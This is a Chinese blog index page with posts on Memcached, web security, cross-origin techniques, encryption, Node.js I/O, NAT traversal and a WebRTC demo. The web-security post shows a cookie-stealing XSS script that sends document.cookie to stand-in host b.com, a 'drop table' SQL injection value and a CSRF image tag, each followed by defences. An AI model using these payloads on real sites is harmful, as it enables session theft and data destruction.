不急不徐,持之以恒。

http://blog.gopersist.com/

  BlogJava :: 首页 :: 新随笔 :: 联系 :: 聚合  :: 管理 ::
  24 随笔 :: 0 文章 :: 52 评论 :: 0 Trackbacks

2014年4月28日 #

互联网上的应用、网站,随着用户的增长,功能的增强,会导致服务器超载,响应变慢等问题。缓存技术是减轻服务器压力、加快服务响应时间、提升用户体验的有效途径。Memcached是非常流行的缓存系统,这里介绍对Memcached的安装、设定,以及在集群环境下的使用。

Memcached简介

Memcached是一个开源、高性能、分布式的内存缓存系统,用于加速动态网站的访问,减轻数据库负载。

Memcached使用了Slab Allocator的机制分配、管理内存,解决了内存碎片的问题。

Memcached虽然可以在多线程模式下运行,但线程数通常只需设定为与CPU数量相同,这一点与Nginx的设定类似。

Memcached使用

安装:

在CentOS下使用下面的命令安装:

sudo yum install memcached 

启动:

memcached -m 100 -p 11211 -d -t 2 -c 1024 -P /tmp/memcached.pid 

-m 指定使用的内存容量,单位MB,默认64MB。

-p 指定监听的TCP端口,默认11211。

-d 以守护进程模式启动。

-t 指定线程数,默认为4。

-c 最大客户端连接数,默认为1024。

-P 保存PID文件。

关闭:

kill `cat /tmp/memcached.pid` 

测试:

使用telnet连接memcached服务。

telnet localhost 11211 

存储命令格式:

set foo 0 0 4 abcd STORED  <command name> <key> <flags> <exptime> <bytes> <data block>  <command name> set, add, replace等 <key> 关键字 <flags> 整形参数,存储客户端对键值的额外信息,如值是压缩的,是字符串,或JSON等 <exptime> 数据的存活时间,单位为秒,0表示永远 <bytes> 存储值的字节数 <data block> 存储的数据内容 

读取命令格式:

get foo VALUE foo 0 4 abcd END  <command name> <key>  <command name> get, gets。gets比get多返回一个数字,这个数字检查数据有没有发生变化,当key对应的数据改变时,gets多返回的数字也会改变。 <key> 关键字  返回的数据格式:  VALUE <key> <flags> <bytes> 

CAS(checked and set):

cas foo 0 0 4 1 cdef STORED  cas <key> <flags> <exptime> <bytes> <version>  除最后的<version>外,其他参数与set, add等命令相同,<version>的值需要与gets获取的值相同,否则无法更新。 incr, decr可对数字型数据进行原子增减操作。 

全局统计信息

stats STAT pid 10218 STAT time 1432611519 STAT curr_connections 6 STAT total_connections 9 STAT connection_structures 7 STAT reserved_fds 10 STAT cmd_get 5 STAT cmd_set 1 STAT cmd_flush 0 STAT cmd_touch 0 STAT get_hits 3 STAT get_misses 2 STAT delete_misses 0 STAT delete_hits 0 ... END 

Memcached集群

Memcached本身不做任何容错处理,对故障节点的处理方式完全取决于客户端。对Memcached的客户端来说,不能使用普通的哈希算法(哈希取模)来寻找目标Server,因为这样在有缓存节点失效时,会导致大面积缓存数据不可用。如下图:

当Server3失效后,客户端需要根据可用Server数量重新计算缓存的目标Server,这时,Key的哈希值为10的数据被指定为由Server1维护,这时原本Server2上可用的缓存也无效了。

一致性哈希算法

一致性哈希算法解决了在动态变化的缓存环境中,定位目标Server的问题,通常的实现可将它想像成一个闭合的环形。如下图:

当有节点失效时,不会影响到正常工作的缓存服务器,只有原本分配到失效节点的缓存会被重新分配到下一个节点。如下图:

微信订阅号:
原文地址:http://blog.gopersist.com/2015/05/28/memcached/

posted @ 2015-05-31 17:18 老林 阅读(1553) | 评论 (2)编辑 收藏

对于一个Web应用来说,可能会面临很多不同的攻击。下面的内容将介绍一些常见的攻击方法,以及面对这些攻击的防御手段。

一、跨站脚本攻击(XSS)

跨站脚本攻击的英文全称是Cross Site Script,为了和样式表区分,缩写为XSS。发生的原因是网站将用户输入的内容输出到页面上,在这个过程中可能有恶意代码被浏览器执行。

跨站脚本攻击可以分为两种:

1). 反射型XSS

它是通过诱使用户打开一个恶意链接,服务端将链接中参数的恶意代码渲染到页面中,再传递给用户由浏览器执行,从而达到攻击的目的。如下面的链接:

http://a.com/a.jsp?name=xss<script>alert(1)</script> 

a.jsp将页面渲染成下面的html:

Hello xss<script>alert(1)</script> 

这时浏览器将会弹出提示框。

2). 持久型XSS

持久型XSS将恶意代码提交给服务器,并且存储在服务器端,当用户访问相关内容时再渲染到页面中,以达到攻击的目的,它的危害更大。

比如,攻击者写了一篇带恶意JS代码的博客,文章发表后,所有访问该博客文章的用户都会执行这段恶意JS。

Cookie劫持

Cookie中一般保存了当前用户的登录凭证,如果可以得到,往往意味着可直接进入用户帐户,而Cookie劫持也是最常见的XSS攻击。以上面提过的反射型XSS的例子来说,可以像下面这样操作:

首先诱使用户打开下面的链接:

http://a.com/a.jsp?name=xss<script src=http://b.com/b.js></script> 

用户打开链接后,会加载b.js,并执行b.js中的代码。b.js中存储了以下JS代码:

var img = document.createElement("img"); img.src = "http://b.com/log?" + escape(document.cookie); document.body.appendChild(img); 

上面的代码会向b.com请求一张图片,但实际上是将当前页面的cookie发到了b.com的服务器上。这样就完成了窃取cookie的过程。

防御Cookie劫持的一个简单的方法是在Set-Cookie时加上HttpOnly标识,浏览器禁止JavaScript访问带HttpOnly属性的Cookie。

XSS的防御

1). 输入检查

对输入数据做检查,比如用户名只允许是字母和数字,邮箱必须是指定格式。一定要在后台做检查,否则数据可能绕过前端检查直接发给服务器。一般前后端都做检查,这样前端可以挡掉大部分无效数据。

对特殊字符做编码或过滤,但因为不知道输出时的语境,所以可能会做不适当的过滤,最好是在输出时具体情况具体处理。

2). 输出检查

对渲染到HTML中内容执行HtmlEncode,对渲染到JavaScript中的内容执行JavascriptEncode。

另外还可以使用一些做XSS检查的开源项目。

二、SQL注入

SQL注入常常会听到,它与XSS类似,是由于用户提交的数据被当成命令来执行而造成的。下面是一个SQL注入的例子:

String sql = "select * from user where username = '" + username + "'"; 

像上面的SQL语句,如果用户提交的username参数是leo,则数据库执行的SQL为:

select * from user where username = 'leo' 

但如果用户提交的username参数是leo’; drop table user–,那执行的SQL为:

select * from user where username = 'leo'; drop table user--' 

在查询数据后,又执行了一个删除表的操作,这样的后果非常严重。

SQL注入的防御

防止SQL注入最好的方法是使用预编译语句,如下面所示:

String sql = "select * from user where username = ?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, username); ResultSet results = pstmt.executeQuery(); 

不同语言的预编译方法不同,但基本都可以处理。

如果遇到无法使用预编译方法时,只能像防止XSS那样对参数进行检查和编码。

三、跨站请求伪造(CSRF)

跨站请求伪造的英文全称是Cross Site Request Forgery,是由于操作所需的所有参数都能被攻击者得到,进而构造出一个伪造的请求,在用户不知情的情况下被执行。看下面一个例子:

如果a.com网站需要用户登录后可以删除博客,删除博客的请求地址如下:

GET http://a.com/blog/delete?id=1 

当用户登录a.com后,又打开了http://b.com/b.html,其中有下面的内容:

<img src="http://a.com/blog/delete?id=1"/> 

这时会以用户在a.com的身份发送http://a.com/blog/delete?id=1,删除那篇博客。

CSRF的防御

  1. 验证码

CSRF是在用户不知情的情况下构造的网络情况,验证码则强制用户与应用交互,所以验证码可以很好得防止CSRF。但不能什么请求都加验证码。

  1. referer检查

检查请求header中的referer也能帮助防止CSRF攻击,但服务器不是总能拿到referer,浏览器可能出于安全或隐私而不发送referer,所以也不常用。倒是图片防盗链中用得很多。

  1. Anti CSRF Token

更多的是生成一个随机的token,在用户提交数据的同时提交这个token,服务器端比对后如果不正确,则拒绝执行操作。

四、点击劫持(ClickJacking)

点击劫持是从视觉上欺骗用户。攻击者使用一个透明的iframe覆盖在一个网页上,诱使用户在该网页上操作,而实际点击却是点在透明的iframe页面。

点击劫持延伸出了很多攻击方式,有图片覆盖攻击、拖拽劫持等。

点击劫持的防御

针对iframe的攻击,可使用一个HTTP头:X-Frame-Options,它有三种可选值:

  • DENY: 禁止任何页面的frame加载;
  • SAMEORIGIN:只有同源页面的frame可加载;
  • ALLOW-FROM:可定义允许frame加载的页面地址。

针对图片覆盖攻击,则注意使用预防XSS的方法,防止HTML和JS注入。

微信订阅号:
原文地址:http://blog.gopersist.com/2015/04/25/web-security-4/

posted @ 2015-04-25 15:40 老林 阅读(6271) | 评论 (2)编辑 收藏

一、浏览器介绍

对于Web应用来说,浏览器是最重要的客户端。

目前浏览器五花八门多得不得了,除了Chrome、IE、Firefox、Safari、Opera这些国外的浏览器外,百度、腾讯、360、淘宝、搜狗、傲游之类的,反正能做的都做了。

浏览器虽然这么多,但浏览器内核主要就以下4种:

  1. Trident:IE使用的内核。
  2. Gecko:Firefox使用的内核。
  3. WebKit:Safair和Chrome使用的内核。WebKit由苹果发明,Chrome也用了,但是Google又开发了V8引擎替换掉了WebKit中的Javascript引擎。
  4. Presto:Opera使用的内核。

国内的浏览器基本都是双核浏览器,使用基于WebKit的内核高速浏览常用网站,使用Trident内核兼容网银等网站。

二、同源策略

同源策略是浏览器最基本的安全策略,它认为任何站点的内容都是不安全的,所以当脚本运行时,只被允许访问来自同一站点的资源。

同源是指域名、协议、端口都相同。

如果没有同源策略,就会发生下面这样的问题:

恶意网站用一个iframe把真实的银行登录页放到他的页面上,当用户使用用户名密码登录时,父页面的javascript就可以读取到银行登录页表单中的内容。

甚至浏览器的1个Tab页打开了恶意网站,另一个Tab页打开了银行网站,恶意网站中的javascript可以读取到银行网站的内容。这样银行卡和密码就能被轻易拿走。

三、跨域访问

由于同源策略的原因,浏览器对跨域访问做了很多限制,但有时我们的确需要做跨域访问,那要怎么办?主要有以下几种情况:

1. iframe的跨域访问

同域名下,父页面可以通过document.getElementById(‘_iframe’).contentWindow.document访问子页面的内容,但不同域名下会出现类似下面的错误:

Uncaught SecurityError: Blocked a frame with origin “http://a.com” from accessing a frame with origin “http://b.com”. Protocols, domains, and ports must match.

有两种解决方法:

1). 当主域名相同,子域名不同时,比较容易解决,只需设置相同的document.domain即可。

如http://a.a.com/a.html使用iframe载入http://b.a.com/b.html,且在a.html中有Javascript要修改b.html中元素的内容时,可以像下面的代码那样操作。

a.html

<html>
<head>
<script>
document.domain = 'a.com';
function changeIframeContent() {
var _iframe = document.getElementById('_iframe');
var _p = _iframe.contentWindow.document.getElementById('_p');
_p.innerHTML = 'Content from a.html';
}
</script>
</head>
<body>
<iframe id="_iframe" src="http://b.a.com/demo/iframe/subdomain/b.html"></iframe>
<br>
<input type="button" value="Change iframe content" onclick="changeIframeContent();"/>
</body>
</html>

b.html

<html>
<head>
<script>
document.domain = 'a.com';
</script>
</head>
<body>
<p id="_p">b.html</p>
</body>
</html>

2). 当主域名不同时,就非常麻烦了。大致的方法像下面描述的那样:

  • a.com下有a.html;
  • a.html创建iframe加载b.com下的b.html,可在加载b.html时通过?或#将参数传递到b.html中;
  • b.html加载后,可以通过提取location.search或location.hash中的内容获取a.html传过来的参数;
  • b.html创建一个iframe,加载a.com下的c.html,并且参数也通过?或#传给c.html;
  • 因为c.html和a.html是相同域名,所以c.html可以使用parent.parent访问到a.html的对象,这样也就可以将b.html需要传递的参数传回到a.html中。

2. Ajax的跨域访问

Ajax主要通过XMLHttpRequest对象实现,但是如果通过XMLHttpRequest访问不同域名下的数据,浏览器会出现类似下面的错误:

XMLHttpRequest cannot load http://b.com/demo/iframe/ajax/b.html. No ‘Access-Control-Allow-Origin’ header is present on the requested resource. Origin ‘http://a.com’ is therefore not allowed access.

这时可由以下两种方法解决:

1). 使用<script>代替XMLHttpRequest,也就是JSONP的方法。利用<script>标签的src下加载的js不受同源策略限制,并且加载后的js运行在当前页面的域下,所以可自由操作当前页面的内容。

下面的代码演示了在a.com下的a.html通过b.com下的b.js中的内容来更新自身的p标签。

a.html

<html>
<head>
<script>
function update_p (content) {
document.getElementById("_p").innerHTML = content;
}
function getFromB() {
var _script = document.createElement("script");
_script.type = "text/javascript";
_script.src = "http://b.com/demo/ajax/b.js";
document.getElementsByTagName("head")[0].appendChild(_script);
}
</script>
</head>
<body>
<p id="_p">a.html</p>
<input type="button" value="Get from b.com" onclick="getFromB()"/>
</body>
</html>

b.js

update_p("content from b.js"); 

在实际使用中,通常a.html会将update_p以callback参数名传递给b.com的服务器,服务器动态生成数据后,再用callback参数值包起来作为响应回传给a.html。

2). 在b.com的服务器返回信息中增加以下头信息:

  • Access-Control-Allow-Origin: http://a.com
  • Access-Control-Allow-Methods: GET

此时浏览器便允许a.com读取使用GET请求b.com的内容。

对于flash来说,会要求在网站根目录下放一个名为crossdomain.xml的文件,以指明允许访问的域名来源。文件中的内容类似下面的样子:

<cross-domain-policy>
<allow-access-from domain="*.a.com" />
</cross-domain-policy>

3. 使用HTML5的postMessage方法实现跨域访问

HTML5增加了跨文档消息传输,下面的例子实现了使用postMessage在不同域间传递消息:

a.html

<html>
<head>
<script>
function update_b () {
var _iframe = document.getElementById("_iframe");
_iframe.contentWindow.postMessage("content from a.html", "http://b.com");
}
</script>
<head>
<body>
<iframe id="_iframe" src="http://b.com/demo/html5/b.html"></iframe>
<br>
<input type="button" value="Update b.html" onclick="update_b()"></input>
</body>
</html>

b.html

<html>
<head>
<script>
window.addEventListener("message", function (event) {
document.getElementById("_p").innerHTML = event.data;
}, false);
</script>
</head>
<body>
<p id="_p">b.html</p>
</body>
</html>

在postMessage中要指定接收方的域名,如果发现目标页面的域名不正确,将抛出类似下面这样的错误:

Failed to execute ‘postMessage’ on ‘DOMWindow’: The target origin provided (‘http://c.com’) does not match the recipient window’s origin (‘http://b.com’).

浏览器对跨域访问的限制是出于安全考虑的,所以在使用一些方法实现跨域访问时要特别小心。

微信订阅号:
源文地址:http://blog.gopersist.com/2015/04/22/web-security-3/

posted @ 2015-04-22 00:15 老林 阅读(32107) | 评论 (6)编辑 收藏

一、安全的要素

信息安全的核心问题是要保障数据的合法使用者能够在任何需要该数据时获得保密的,没有被非法更改过的数据。主要有以下几要素:

机密性

  • 保证数据内容不能泄露。
  • 用户的密码用明文保存,就破坏了机密性。

完整性

  • 保证数据内容不被篡改。
  • 使用HTTP提交数据时,数据在传输过程中被篡改后再发往服务器,就破坏了完整性。

可用性

  • 保证数据可被正常访问和使用。
  • 像拒绝服务攻击(DoS)就是破坏了可用性。

最基本的安全要素就上面三个,下面还有一些其他的。

可审计性

  • 记录对数据产生的操作,用于日后的分析、审查。

不可抵赖性

  • 首先要保证数据完整性,然后,在传输的数据中必须携带用于身份识别的信息,且这部分信息在不同主体间不能发生碰撞。

加密技术的使用

上一篇《Web安全技术(1)-对加密机制的理解》中提到了三类加密算法,可以应用于某些要素的安全保障。如下面的说明:

对称加密

  • 可保障机密性,对数据加密后存储,可以使没有密钥的人员无法获取数据内容。

非对称加密

  • 可以对数据进行加密解密操作,所以也能像对称加密一样保障机密性;
  • 因为非对称加密可以实现数字签名,所以可以保证数据完整性。另外,由于是使用私钥签名,而私钥只有数据发送方才有,所以如果公钥可以验签成功,则发送方不可抵赖。

摘要加密

  • 摘要算法可保障数据完整性。

  • 在某些网站的软件下载页面里,有时除了下载地址,旁边还会有一个MD5码。这个MD5就是对下载的软件做的摘要加密。在下载完成后,在本机对下载的软件做MD5,然后和网站上显示的MD5做比较,如果相同就表示软件被成功下载,而且下载过程中软件内容没有被篡改。
  • 在做系统时,我们也经常会对密码做摘要加密后再保存,因为摘要加密的一个特性是不可逆,这样通过数据库中保存的加密后的密码不可能还原成用户的真实密码。而用户登录时,只需将用户提交的密码再做摘要加密,然后与数据库中保存的密码比较,就能判断用户有没有输入正确的密码。

二、风险分析

对于数据可能会遇到什么威胁,一般是拍脑袋想一想,也可以使用模型帮忙,下面是一个叫STRIDE的威胁模型:

如何评估风险?

数据受到威胁就可能造成损失,但损失有大有小,威胁发生的概率也有高有低,我们要结合具体情况来对风险做出判断。有一个叫DREAD的模型,可以指导我们如何判断威胁的风险程度。

每一个因素都分高、中、低三个等级,权重值分别为3、2、1。

当有一个威胁时,我们将它在每一个因素中的权重值相加,即可得出风险系数。

假如我们对风险系数范围的定义如下:

高危:12~15分,中危:8~11分,低危:5~7分。

那如果以使用明文保存密码为例,风险系数可能像下面这样计算:

风险 = D(3) + R(1) + E(1) + A(3) + D(1) = 9分,这就是一个中危风险。

后续对威胁的处理,应当根据风险的大小和修复的难易程度做出平衡。

微信订阅号:
源文地址:http://blog.gopersist.com/2015/04/17/web-security-2/

posted @ 2015-04-17 23:47 老林 阅读(4996) | 评论 (0)编辑 收藏

加密算法

数据加密算法有对称加密、非对称加密和信息摘要三类。

对称加密是使用单个密钥对数据进行加密和解密。有DES、AES、RC-5等算法。

非对称加密是使用一对密钥(公钥和私钥)对数据进行加密和解密。有RSA、ECC等算法。非对称加密大概比对称加密慢100倍以上。

通常的用法如下:

  1. 使用公钥加密数据,使用私钥解密数据。
  2. 使用私钥签名数据,使用公钥验证签名。

信息摘要如果也算加密算法的话,它的加密过程不需要密钥,并且经过加密的数据无法被解密,它是根据不定长的明文计算得到一段定长的数据。有MD5、SHA1等算法。

密钥规范

规范太多,网上讲得很乱,挑常用的按我的理解列一下。

密钥格式:

  1. X.509:通用的证书格式,包括公钥信息、用户标识、签发信息等。
  2. PKCS系统标准:美国RSA数据安全公司及其合作伙伴制定的一组公钥密码学标准。其中PKCS#8描述私有密钥的信息格式,包括私钥及可选的属性集等。

密钥存储:

  1. DER:二进制编码。
  2. PEM:ASCII编码。

加密模式

块密码自身只能加密长度等于密码块长度的单块数据,若要对变长数据进行加密,则必须事先将数据进行切分,而且最后一个数据块需要适当的填充方式扩展到密码块的长度。加密模式即块密码的工作模式,就是使用这些方式用同一个密钥对多于一块的数据进行加密。

加密模式通常用于对称加密,也可以用于非对称加密。但非对称加密通常不适合加密较长的信息,所以会使用混合加密代替。

ps: 以RSA和DES为例,混合加密通常使用DES先加密明文,再使用RSA的公钥加密DES的密钥,再将2个密文一起传递出去。接收方使用RSA的私钥解密DES的密钥信息,再使用DES的密钥解密具体内容。

最简单的加密模式是ECB(即电子密码本)。其他还有CBC、PCBC、CFB等。

ECB和CBC需要对最后一块进行填充,填充方法有很多种,最简单的是先在明文的最后填充空字符,使明文长度为密码块长度的整数倍。

微信订阅号:
源文地址:http://blog.gopersist.com/2015/04/08/crypto/

posted @ 2015-04-13 21:51 老林 阅读(4920) | 评论 (0)编辑 收藏

Linux操作系统的I/O模型

JAVA的NIO引入了异步I/O,而Node.js宣称的就是异步编程,I/O自然是异步的。其实操作系统在很早就引入了异步I/O的概念,如下图(摘自Unix网络编程中的图片):

我对上图的理解有几点:

  1. 从IO设备读取数据到用户内存的整个过程都是由系统内核来完成;
  2. 数据总是先被拷贝到内核缓冲区,再由内核缓冲区拷贝到用户内存;
  3. 除了异步I/O,其余4种I/O模型其实都是阻塞的,至少在数据从内核拷贝到用户内存时是阻塞的;
  4. 虽然异步I/O看上去是理想解决方案,但实现上现在用得最多的应该是多路I/O复用,有select、poll、epoll的实现,性能最好的是epoll;
  5. 异步I/O现在被认为有缺陷,仅支持O_DIRECT而无法支持系统缓存。

Node.js中的异步I/O

因为内核中的异步I/O有缺陷,现实中的异步I/O通常由用户态的线程池模拟完成,如下图:

Node.js中原本使用了libeio异步I/O库,在v0.9.3后改为自己实现的线程池来完成异步I/O。所以在Node.js中,除了用户的Javascript代码是单线程外,所有I/O都是多线程并行执行的。

Node.js中的异步I/O调用

Node.js通过事件循环的模式运行,在每一个循环的过程中,通过询问一个或多个观察者来判断是否有事件要处理,而观察者可以有文件I/O观察者、网络I/O观察者等。

Node.js中异步I/O调用的大致流程如下:

  • 发起I/O调用
    1. 用户通过Javascript代码调用Node核心模块,将参数和回调函数传入到核心模块;
    2. Node核心模块会将传入的参数和回调函数封装成一个请求对象;
    3. 将这个请求对象推入到I/O线程池等待执行;
    4. Javascript发起的异步调用结束,Javascript线程继续执行后续操作。
  • 执行回调
    1. I/O操作完成后,会将结果储存到请求对象的result属性上,并发出操作完成的通知;
    2. 每次事件循环时会检查是否有完成的I/O操作,如果有就将请求对象加入到I/O观察者队列中,之后当做事件处理;

  • 处理I/O观察者事件时,会取出之前封装在请求对象中的回调函数,执行这个回调函数,并将result当参数,以完成Javascript回调的目的。

    微信订阅号:
    源文地址:
    http://blog.gopersist.com/2015/03/09/aio/
posted @ 2015-04-13 21:42 老林 阅读(3955) | 评论 (0)编辑 收藏

我们看看不同NAT之间的NAT打洞。NAT打洞需要Server配合,需要2种Server:
1. 类似WebRTC中的信令服务器,作用是帮助客户机沟通IP和PORT信息;
2. STUN Server,用来让客户机判断自己所在的NAT环境。
现在假设客户端和Server的通讯都没问题,客户端知道自己所处环境,并且将自己的信息通过服务器发送给了另一方客户端,它们可能的打洞情况如下:
1. Full Cone NAT 与 Full Cone NAT:通讯很容易,各自通过STUN Server获取外部IP和Port后,通过信令服务器通知另一方,即可通讯。
2. Full Cone NAT 与 Restricted Cone NAT或Port Restricted Cone NAT在互相告知IP和Port后,如果由Full Cone NAT端先发送数据包,会失败,必须由Restricted Cone NAT或Port Restricted Cone NAT端先发送数据包给Full Cone NAT,之后双方即可互相通讯。
3. Full Cone NAT 与 Symmetric NAT通讯时,必须先由Symmetric NAT端发送数据包给Full Cone NAT端,Full Cone NAT端通过发来的数据包获得目标的新端口号,之后通过这个新端口号完成互相通讯。
4. Restricted Cone NAT 与 Restricted Cone NAT、Restricted Cone NAT 与 Port Restricted Cone NAT、Port Restricted Cone NAT 与 Port Restricted Cone NAT之间通讯时,先发送数据包的一方会失败,之后另一方发送数据包成功后,可互相通讯。
5. Restricted Cone NAT 与 Symmetric NAT通讯时,先由Restricted Cone NAT发送数据包给Symmetric NAT,发送数据会失败,只是为了下次能接收从Symmetric NAT端发送过来的数据包。然后由Symmetric NAT发送数据包到Restricted Cone NAT端,Restricted Cone NAT端会收到数据包,并且将新的端口号记下,使用新的端口号可与Symmetric NAT端通讯。
6. Port Restricted Cone NAT 与 Symmetric NAT通讯时,由于Port Restricted Cone NAT会对IP:PORT对进行限制,所以当Symmetric NAT端使用新PORT发来数据包时,Port Restricted Cone NAT端收不到,它们之间无法通讯。
7. Symmetric NAT 与 Symmetric NAT也无法通讯 。
posted @ 2014-10-23 14:17 老林 阅读(6472) | 评论 (0)编辑 收藏

针对收发UDP数据,NAT可分为Full Cone、Restricted Cone、Port Restricted Cone、Symmetric NAT四类,在RFC3489中有定义(http://datatracker.ietf.org/doc/rfc3489/?include_text=1)。
1. Full Cone:所有从相同的内部IP和PORT发出的请求都映射为相同的外部IP和PORT,而后任何外部主机只要发送数据包给NAT的IP和PORT就会被转发给内部主机。
从图中可以看到,只要内部主机通过NAT访问了一次外部主机,在Mapping Table中会增加一条内部IP:Port映射到NAT的端口,那么外部的任何主机都可以通过NAT的IP:PORT将数据发给内部主机。
2. Restricted Cone:所有从相同的内部IP和PORT发出的请求都映射为相同的外部IP和PORT,但只有内部主机曾发送过数据的外部IP才可将数据包通过NAT的IP:PORT发给内部主机。
从图中可以看到,因为内部主机没有发过数据包给外部主机B,所以外部主机发到NAT的数据包无法发给内部主机。
3. Port Restricted Cone:和Restricted Cone类似,但是除了IP的限制外增加了PORT的限制,即只有内部主机曾发送过数据的外部IP:PORT才可将数据包通过NAT的IP:PORT发给内部主机。
从图中可以看到,外部主机1用另一个PORT无法将数据发到内部主机。
4. Symmetric NAT:从内部主机相同的IP和PORT发出的请求,当访问不同外部IP和PORT时,都会在NAT上创建不同的映射。
上图中虽然内部IP和PORT相同,但访问不同的外部IP/PORT对,都会映射为不同的NAT PORT。当外部主机发数据包给内部主机时,也只能使用对应的PORT。
posted @ 2014-10-23 13:56 老林 阅读(3278) | 评论 (0)编辑 收藏

在使用WebRTC进行即时通讯时,需要使浏览器进行P2P通讯,但是由于NAT环境的复杂性,并不是所有情况下都能进行P2P,这时需要TURN Server来帮助客户端之间转发数据。rfc5766-turn-server是一个高性能的开源TURN Server实现。
以下是在EC2上使用Ubuntu操作系统安装rfc5766-turn-server:
1. 下载安装包:
$ wget http://ftp.cn.debian.org/debian/pool/main/r/rfc5766-turn-server/rfc5766-turn-server_3.2.4.4-1_amd64.deb
2. 安装:
$ sudo apt-get update
$ sudo apt-get install gdebi-core
$ sudo gdebi rfc5766-turn-server_3.2.4.4-1_amd64.deb
安装完后,在/usr/share/doc/rfc5766-turn-server下有很多文档可参考。
3. 配置:
$ sudo vi /etc/turnserver.conf
---------------------------------------
// 配置IP,EC2下需要配置listening-ip和external-ip
listening-ip=172.31.4.37
external-ip=54.223.149.60
// 当TURN Server用于WebRTC时,必须使用long-term credential mechanism
lt-cred-mech
// 增加一个用户
user=username1:password1
// 设定realm
realm=mycompany.org
---------------------------------------
4. 启动:
sudo turnserver -c /etc/turnserver.conf --daemon
5. 服务启动后,在上一个WebRTC示例中更改iceServers后测试:
"iceServers": [{
    "url": "stun:stun.l.google.com:19302"
}, {
    "url": "turn:54.223.149.60",
    "username": "username1",
    "credential": "password1"
}]
更多安装信息在:http://turnserver.open-sys.org/downloads/v3.2.4.4/INSTALL
rfc5766-turn-server当然也有STUN Server的能力,但是需要给它配置2个IP,以帮助探测客户端所在NAT环境的行为,这里没有做。
posted @ 2014-10-22 14:23 老林 阅读(8368) | 评论 (3)编辑 收藏

在学习WebRTC时,网上的示例大多代码较多,以下是参考那些代码简化的一个WebRTC一对一的示例,在chrome 37下测试通过。其中iceServer可省略,没有iceServer时在同一个局域网下仍可通讯。

客户端代码:
<html>
<body>
    Local: <br>
    <video id="localVideo" autoplay></video><br>
    Remote: <br>
    <video id="remoteVideo" autoplay></video>

    <script>
        
// 仅仅用于控制哪一端的浏览器发起offer,#号后面有值的一方发起
        var isCaller = window.location.href.split('#')[1];

        
// 与信令服务器的WebSocket连接
        var socket = new WebSocket("ws://127.0.0.1:3000");

        
// stun和turn服务器
        var iceServer = {
            
"iceServers": [{
                
"url""stun:stun.l.google.com:19302"
            }, {
                
"url""turn:numb.viagenie.ca",
                
"username""webrtc@live.com",
                
"credential""muazkh"
            }]
        };

        
// 创建PeerConnection实例 (参数为null则没有iceserver,即使没有stunserver和turnserver,仍可在局域网下通讯)
        var pc = new webkitRTCPeerConnection(iceServer);

        
// 发送ICE候选到其他客户端
        pc.onicecandidate = function(event){
            
if (event.candidate !== null) {
                socket.send(JSON.stringify({
                    
"event""_ice_candidate",
                    
"data": {
                        
"candidate": event.candidate
                    }
                }));
            }
        };

        
// 如果检测到媒体流连接到本地,将其绑定到一个video标签上输出
        pc.onaddstream = function(event){
            document.getElementById('remoteVideo').src 
= URL.createObjectURL(event.stream);
        };

        
// 发送offer和answer的函数,发送本地session描述
        var sendOfferFn = function(desc){
            pc.setLocalDescription(desc);
            socket.send(JSON.stringify({ 
                
"event""_offer",
                
"data": {
                    
"sdp": desc
                }
            }));
        },
        sendAnswerFn 
= function(desc){
            pc.setLocalDescription(desc);
            socket.send(JSON.stringify({ 
                
"event""_answer",
                
"data": {
                    
"sdp": desc
                }
            }));
        };

        
// 获取本地音频和视频流
        navigator.webkitGetUserMedia({
            
"audio"true,
            
"video"true
        }, 
function(stream){
            
//绑定本地媒体流到video标签用于输出
            document.getElementById('localVideo').src = URL.createObjectURL(stream);
            
//向PeerConnection中加入需要发送的流
            pc.addStream(stream);
            
//如果是发起方则发送一个offer信令
            if(isCaller){
                pc.createOffer(sendOfferFn, 
function (error) {
                    console.log('Failure callback: ' 
+ error);
                });
            }
        }, 
function(error){
            
//处理媒体流创建失败错误
            console.log('getUserMedia error: ' + error);
        });

        
//处理到来的信令
        socket.onmessage = function(event){
            
var json = JSON.parse(event.data);
            console.log('onmessage: ', json);
            
//如果是一个ICE的候选,则将其加入到PeerConnection中,否则设定对方的session描述为传递过来的描述
            if( json.event === "_ice_candidate" ){
                pc.addIceCandidate(
new RTCIceCandidate(json.data.candidate));
            } 
else {
                pc.setRemoteDescription(
new RTCSessionDescription(json.data.sdp));
                
// 如果是一个offer,那么需要回复一个answer
                if(json.event === "_offer") {
                    pc.createAnswer(sendAnswerFn, 
function (error) {
                        console.log('Failure callback: ' 
+ error);
                    });
                }
            }
        };
    
</script>
</body>
</html>

实现WebRTC时,信令服务器是必须的,它帮助客户端之间进行沟通。
这里使用Node.js的ws模块来实现一个WebSocket服务作为信令服务器。另外使用express模块让它提供html页面的访问。
server.js代码如下:
var express = require('express'),
app = express(),
server = require('http').createServer(app);

server.listen(3000);

app.get('/', function(req, res) {
    res.sendfile(__dirname + '/webrtc.html');
});

var WebSocketServer = require('ws').Server,
wss = new WebSocketServer({server: server});

// 存储socket的数组,这里只能有2个socket,每次测试需要重启,否则会出错
var wsc = [],
index = 1;

// 有socket连入
wss.on('connection', function(ws) {
    console.log('connection');

    // 将socket存入数组
    wsc.push(ws);

    // 记下对方socket在数组中的下标,因为这个测试程序只允许2个socket
    // 所以第一个连入的socket存入0,第二个连入的就是存入1
    // otherIndex就反着来,第一个socket的otherIndex下标为1,第二个socket的otherIndex下标为0
    var otherIndex = index--,
    desc = null;

    if (otherIndex == 1) {
        desc = 'first socket';
    } else {
        desc = 'second socket';
    }

    // 转发收到的消息
    ws.on('message', function(message) {
        var json = JSON.parse(message);
        console.log('received (' + desc + '): ', json);

        wsc[otherIndex].send(message, function (error) {
            if (error) {
                console.log('Send message error (' + desc + '): ', error);
            }
        });
    });
});

使用npm安装需要的模块后使用node server.js启动服务。
测试时使用Chrome浏览器:
第一个浏览器窗口访问页面:http://127.0.0.1:3000,在弹出的提示中允许使用摄像头和麦克风。
第二个浏览器窗口访问页面:http://127.0.0.1:3000#true,#true表示它是一个发起方,在弹出的提示中同样允许使用摄像头和麦克风。
这时页面中应当可以看到2个画面,一个是本地的,一个是远端的。

将代码中的IP稍做调整后部署到外网,即可在2个不同的地点访问这个页面进行实时通讯。


微信订阅号:
源文地址:http://blog.gopersist.com/2014/10/21/webrtc-simple/
posted @ 2014-10-21 17:21 老林 阅读(43306) | 评论 (6)编辑 收藏

并发编程时,必须考虑安全性问题,即线程安全,所谓线程安全就是可以同时被多个线程调用,调用者无须额外的操作,程序也不会出现错误的结果。
要使程序是线程安全的,必须考虑以下2点:
